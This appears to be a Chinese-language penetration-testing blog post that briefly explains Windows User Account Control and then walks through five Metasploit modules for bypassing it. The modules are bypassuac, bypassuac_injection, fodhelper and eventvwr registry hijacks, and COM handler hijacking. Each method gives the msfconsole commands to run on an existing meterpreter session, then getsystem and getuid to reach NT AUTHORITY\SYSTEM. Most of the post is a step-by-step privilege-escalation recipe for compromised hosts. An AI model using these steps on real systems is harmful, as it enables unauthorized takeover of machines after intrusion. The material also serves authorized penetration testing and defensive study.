使用Metasploit绕过UAC的多种方法

 

一、用户帐户控制(UAC)简介

在本文中,我们将简要介绍一下用户帐户控制,即UAC。我们还将研究它如何潜在地保护免受恶意软件的攻击并忽略UAC提示可能给系统带来的一些问题。

1.什么是用户帐户控制(UAC)?

Microsoft的Windows Vista和Windows Server 2008操作系统引入了一种良好的用户帐户控制架构,以防止系统范围内的意外更改,这种更改是可以预见的,并且只需要很少的操作量。

换句话说,它是Windows的一个安全功能,它支持防止对操作系统进行未经授权的修改,UAC确保仅在管理员授权的情况下进行某些更改。如果管理员不允许更改,则不会执行这些更改,并且Windows系统保持不变。

2.UAC如何运行?

UAC通过阻止程序执行任何涉及有关系统更改/特定任务的任务来运行。除非尝试执行这些操作的进程以管理员权限运行,否则这些操作将无法运行。如果您以管理员身份运行程序,则它将具有更多权限,因为它将被“提升权限”,而不是以管理员身份运行的程序。

 

一些没有管理员权限无法完成的操作:

  • 注册表修改(如果注册表项在HKEY_LOCAL_MACHINE下(因为它影响多个用户),它将是只读的)
  • 加载设备驱动程序
  • DLL注入
  • 修改系统时间(时钟)
  • 修改用户帐户控制设置(通过注册表,可以启用/禁用该设置,但您需要正确的权限才能执行此操作)
  • 修改受保护的目录(例如Windows文件夹,Program Files)
  • 计划任务(例如,以管理员权限自动启动)

UAC不会自动阻止恶意软件,其目的不是确定程序是否是恶意软件。这同样取决于用户。如果将以管理员权限执行程序,则将提醒用户并且需要用户确认。 

https://malwaretips.com/threads/why-uac-is-important-and-how-it-can-protect-you.47157/

 

二、绕过UAC的方法

首先通过explloit获得目标主机的meterprter获得meterpreter会话1后,输入以下命令以检查是否是system权限

getsystem
getuid

如果您没有系统/管理权限。然后您应该绕过目标系统的UAC保护。

1.方法一:Windows权限升级绕过UAC保护

此模块将通过进程注入使用可信任发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。

msf > use exploit/windows/local/bypassuac
msf exploit windows/local/bypassuac) > set session 1
msf exploit(windows/local/bypassuac) > exploit

从给定的meterpreter中,您可以看到meterpreter会话2已打开,现在以下命令以确定system权限特权.

getsystem
getuid

很好, 这里我们获得了NT AUTHORITY\SYSTEM 权限,现在如果你输入“ shell ”命令,你将获得具有管理员权限的命令提示符。

2.方法二:Windows权限提升绕过UAC保护(内存注入)

此模块将通过进程注入使用可信任的发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。在普通技术中,该模块使用反射式DLL注入技术并只除去了DLL payload 二进制文件,而不是三个单独的二进制文件。但是,它需要选择正确的体系架构(对于SYSWOW64系统也使用x64)。如果指定exe::custom,应在单独的进程中启动 payload 后调用ExitProcess()

msf > use exploit/windows/local/bypassuac_injection
msf exploit(windows/local/bypassuac_injection) > set session 1
msf exploit(windows/local/bypassuac_injection) > exploit

从给定的meterpreter中,您可以看到meterpreter会话2已打开,现在输入以下命令以确定system权限特权。

getsystem
getuid

最终你将获得NT AUTHORITY\SYSTEM 权限,现在如果你输入“ shell ”命令,你将获得具有管理员权限的命令提示符。

3.方法三:绕过Windows UAC保护(通过FodHelper注册表项)

此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC。它将生成关闭UAC标志的第二个shell此模块修改注册表项,但在调用payload后将清除该项模块不需要payload的体系架构和操作系统匹配。如果指定exe:custom,则应在单独的进程中启动payload后调用ExitProcess()。

msf > use exploit/windows/local/bypassuac_fodhelper
msf exploit(windows/local/bypassuac_fodhelper) > set session 1
msf exploit(windows/local/bypassuac_fodhelper) > exploit

从给定的meterprer中,您可以看到meterpreter会话2已打开,现在输入以下命令以确定system权限特权

getsystem
getuid

很好, 这里我们获得了NT AUTHORITY\SYSTEM 权限,现在如果你输入“ shell ”命令,你将获得具有管理员权限的命令提示符。

4.方法四:Windows权限升级绕过UAC保护(通过Eventvwr注册表项)

此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。它将生成关闭UAC标志的第二个shell此模块修改注册表项,但在调用payload后将清除该项模块不需要payload的体系架构和操作系统匹配如果指定EXE ::Custom,则应在单独的进程中启动payload后调用ExitProcess()。

msf > use exploit/windows/local/bypassuac_eventvwr
msf exploit(windows/local/bypassuac_eventvwr) > set session 1
msf exploit(windows/local/bypassuac_eventvwr) > exploit

从给定的meterpreter中,您可以看到meterpreter会话2已打开,现在输入以下命令以确定system权限特权。

getsystem
getuid

您将再次获得NT AUTHORITY\SYSTEM 权限。

5.方法五:Windows权限升级绕过UAC保护(通过COM处理程序劫持)

此模块将通过在hkcu配置单元中创建COM处理程序注册表项来绕过Windows UAC。当加载某些较高完整性级别进程时,会引用这些注册表项,从而导致进程加载用户控制的DLL。这些DLL包含导致会话权限提升的payload。此模块修改注册表项,但在调用payload后将清除该项。这个模块需要payload的体系架构和操作系统匹配,但是当前的低权限meterpreter会话体系架构中可能不同。如果指定exe::custom,则应在单独的进程中启动payloa后调用ExitProcess()。此模块通过目标上的cmd.exe调用目标二进制文件。因此,如果cmd.exe访问受到限制,此模块将无法正常运行。

msf > use exploit/windows/local/bypassuac_comhijack
msf exploit(windows/local/bypassuac_comhijack) > set session 1
msf exploit(windows/local/bypassuac_comhijack) > exploit
 

从给定的meterpreter中,您可以看到meterpreter会话2已打开,现在键入以下命令以确定system权限特权。

getsystem
getuid

最后,您将获得NT AUTHORITY\SYSTEM 权限,现在如果您再次运行“shell”命令,那么您将获得具有管理员权限的命令提示符访问权限,这样我们就可以通过Metasploit利用exploit来绕过UAC保护。

 
posted @ 2019-03-18 14:50  渗透测试中心  阅读(4915)  评论(0编辑  收藏  举报